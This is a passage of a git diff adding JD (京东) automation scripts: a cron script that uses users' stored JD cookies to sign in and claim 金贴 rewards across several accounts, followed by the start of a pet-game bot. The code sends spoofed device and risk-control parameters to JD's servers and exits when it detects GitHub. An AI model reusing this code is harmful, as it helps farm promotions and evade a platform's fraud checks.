Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jin_tie.js b/jd_jin_tie.js new file mode 100644 index 0000000..ba4a92c --- /dev/null +++ b/jd_jin_tie.js @@ -0,0 +1,473 @@ +/* +领金贴(只做签到以及互助任务里面的部分任务) +活动入口:京东APP首页-领金贴,[活动地址](https://active.jd.com/forever/cashback/index/) +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +=================QuantumultX============== +[task_local] +#领金贴 +10 0 * * * jd_jin_tie.js, tag=领金贴, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===========Loon=============== +[Script] +cron "10 0 * * *" script-path=jd_jin_tie.js,tag=领金贴 +=======Surge=========== +领金贴 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_jin_tie.js +==============小火箭============= +领金贴 = type=cron,script-path=jd_jin_tie.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('领金贴'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + try { + await signInforOfJinTie(); + await queryMission(); + await doTask(); + await queryMission(false); + await queryAvailableSubsidyAmount(); + } catch (e) { + $.logErr(e) + } +} +function queryMission(info = true) { + $.taskData = []; + const body = JSON.stringify({ + channel: "sqcs", + channelCode: "SUBSIDY2", + "riskDeviceParam": JSON.stringify({ + appId: "jdapp", + appType: "3", + clientVersion: "9.4.6", + deviceType: "iPhone11,8", + "eid": cookie, + "fp": getFp(), + idfa: "", + imei: "", + ip: "", + macAddress: "", + networkType: "WIFI", + os: "iOS", + osVersion: "14.2", + token: "", + uuid: "" + }) + }) + const options = taskUrl('queryMission', body); + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + if (info) { + console.log('互动任务获取成功') + $.taskData = data.resultData.data; + $.willTask = $.taskData.filter(t => t.status === -1) || []; + // $.willTask = $.taskData.filter(t => t.status === 0) || [];//已领取任务,但未完成 + $.recevieTask = $.taskData.filter(t => t.status === 1) || []; + const doneTask = $.taskData.filter(t => t.status === 2); + console.log(`\n剩余未接取任务:${$.willTask.length}`) + console.log(`已完成任务:${doneTask.length}\n`); + } else { + if ($.recevieTask && $.recevieTask.length) { + for (let task of $.recevieTask) { + console.log('预计获得:', task.awards[0].awardName, task.awards[0].awardRealNum, task.awards[0].awardUnit) + await awardMission(task['missionId']) + } + } + } + } else { + console.log('获取互动任务失败', data.resultData.msg) + } + } else { + console.log('获取互动任务失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//领取任务 +function receiveMission(missionId) { + const body = JSON.stringify({ + missionId, + "channelCode": "SUBSIDY2", + "timeStamp": new Date().toString(), + "env": "JDAPP" + }); + const options = taskUrl('receiveMission', body); + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log('任务接取成功') + } else { + console.log('任务接取失败', data.resultData.msg) + } + } else { + console.log('任务接取失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//完成任务 +function finishReadMission(missionId, readTime) { + const body = JSON.stringify({missionId, readTime}); + const options = taskUrl('finishReadMission', body); + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log('完成任务 成功') + } else { + console.log('完成任务失败', data.resultData.msg) + } + } else { + console.log('完成任务失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取金贴奖励 +function awardMission(missionId) { + const body = JSON.stringify({ + missionId, + "channelCode": "SUBSIDY2", + "timeStamp": new Date().toString(), + "env": "JDAPP" + }); + const options = taskUrl('awardMission', body); + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log('奖励领取成功') + } else { + console.log('奖励领取失败', data.resultData.msg) + } + } else { + console.log('奖励领取失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//获取签到状态 +function signInforOfJinTie() { + const body = JSON.stringify({ + channel: "sqcs", + "riskDeviceParam": JSON.stringify({ + appId: "jdapp", + appType: "3", + clientVersion: "9.4.6", + deviceType: "iPhone11,8", + "eid": cookie, + "fp": getFp(), + idfa: "", + imei: "", + ip: "", + macAddress: "", + networkType: "WIFI", + os: "iOS", + osVersion: "14.2", + token: "", + uuid: "" + }) + }) + const options = taskUrl('signInforOfJinTie', body, 'jrm'); + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + let state = data.resultData.data.sign + console.log('获取签到状态成功', state ? '今日已签到' : '今日未签到', '连续签到', data.resultData.data.signContinuity, '天\n') + if (!state) await signOfJinTie() + } else { + console.log('获取签到状态失败', data.resultData.msg) + } + } else { + console.log('获取签到状态失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//签到 +function signOfJinTie() { + const body = JSON.stringify({ + channel: "sqcs", + "riskDeviceParam": JSON.stringify({ + appId: "jdapp", + appType: "3", + clientVersion: "9.4.6", + deviceType: "iPhone11,8", + "eid": cookie, + "fp": getFp(), + idfa: "", + imei: "", + ip: "", + macAddress: "", + networkType: "WIFI", + os: "iOS", + osVersion: "14.2", + token: "", + uuid: "" + }) + }) + const options = taskUrl('signOfJinTie', body, 'jrm'); + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + console.log('签到成功', data.resultData.data.amount) + } else { + console.log('签到失败', data.resultData.msg) + } + } else { + console.log('签到失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function queryAvailableSubsidyAmount() { + const body = JSON.stringify({ + channel: "sqcs", + "riskDeviceParam": JSON.stringify({ + appId: "jdapp", + appType: "3", + clientVersion: "9.4.6", + deviceType: "iPhone11,8", + "eid": cookie, + "fp": getFp(), + idfa: "", + imei: "", + ip: "", + macAddress: "", + networkType: "WIFI", + os: "iOS", + osVersion: "14.2", + token: "", + uuid: "" + }) + }) + const options = taskUrl('queryAvailableSubsidyAmount', body, 'jrm'); + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + console.log(`获取当前总金贴成功\n\n京东账号${$.index} ${$.nickName || $.UserName} 当前总金贴:${data.resultData.data}元`) + } else { + console.log('获取当前总金贴失败', data.resultData.msg) + } + } else { + console.log('获取当前总金贴失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +async function doTask() { + for (let task of $.willTask) { + console.log(`\n开始领取 【${task['name']}】任务`); + await receiveMission(task['missionId']); + await $.wait(100) + if (task.doLink.indexOf('readTime=') !== -1) { + const readTime = parseInt(task.doLink.substr(task.doLink.indexOf('readTime=') + 9)); + await finishReadMission(task['missionId'], readTime); + await $.wait(200); + } else if (task.detail.indexOf('京东到家') !== -1) { + + } else if ((task.detail.indexOf('关注') !== -1 || task.detail.indexOf('收藏')) && task.doLink.indexOf('shopId') !== -1) { + const shopId = task.doLink.substr(task.doLink.indexOf('shopId=') + 7); + } + } +} +function taskUrl(function_id, body, type = 'mission') { + return { + url: `https://ms.jr.jd.com/gw/generic/${type}/h5/m/${function_id}?reqData=${encodeURIComponent(body)}`, + headers: { + 'Accept' : `*/*`, + 'Origin' : `https://u.jr.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : cookie, + 'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host' : `ms.jr.jd.com`, + 'Connection' : `keep-alive`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer' : `https://u.jr.jd.com/`, + 'Accept-Language' : `zh-cn` + } + } +} +function getFp() { + // const crypto = require('crypto'); + // let fp = crypto.createHash("md5").update($.UserName + '573.9', "utf8").digest("hex").substr(4, 16) + return "" +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_joy.js b/jd_joy.js new file mode 100644 index 0000000..4abc2b2 --- /dev/null +++ b/jd_joy.js @@ -0,0 +1,1089 @@ +/* +jd宠汪汪 搬的https://github.com/uniqueque/QuantumultX/blob/4c1572d93d4d4f883f483f907120a75d925a693e/Script/jd_joy.js +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +IOS用户支持京东双账号,NodeJs用户支持N个京东账号 +更新时间:2021-6-6 +活动入口:京东APP我的-更多工具-宠汪汪 +建议先凌晨0点运行jd_joy.js脚本获取狗粮后,再运行此脚本(jd_joy_steal.js)可偷好友积分,6点运行可偷好友狗粮 +feedCount:自定义 每次喂养数量; 等级只和喂养次数有关,与数量无关 +推荐每次投喂10个,积累狗粮,然后去玩聚宝盆赌 +Combine from Zero-S1/JD_tools(https://github.com/Zero-S1/JD_tools) +==========Quantumult X========== +[task_local] +#京东宠汪汪 +15 0-23/2 * * * jd_joy.js, tag=京东宠汪汪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true + +============Loon=========== +[Script] +cron "15 0-23/2 * * *" script-path=jd_joy.js,tag=京东宠汪汪 + +============Surge========== +[Script] +京东宠汪汪 = type=cron,cronexp="15 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_joy.js + +===============小火箭========== +京东宠汪汪 = type=cron,script-path=jd_joy.js, cronexpr="15 0-23/2 * * *", timeout=3600, enable=true +*/ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; 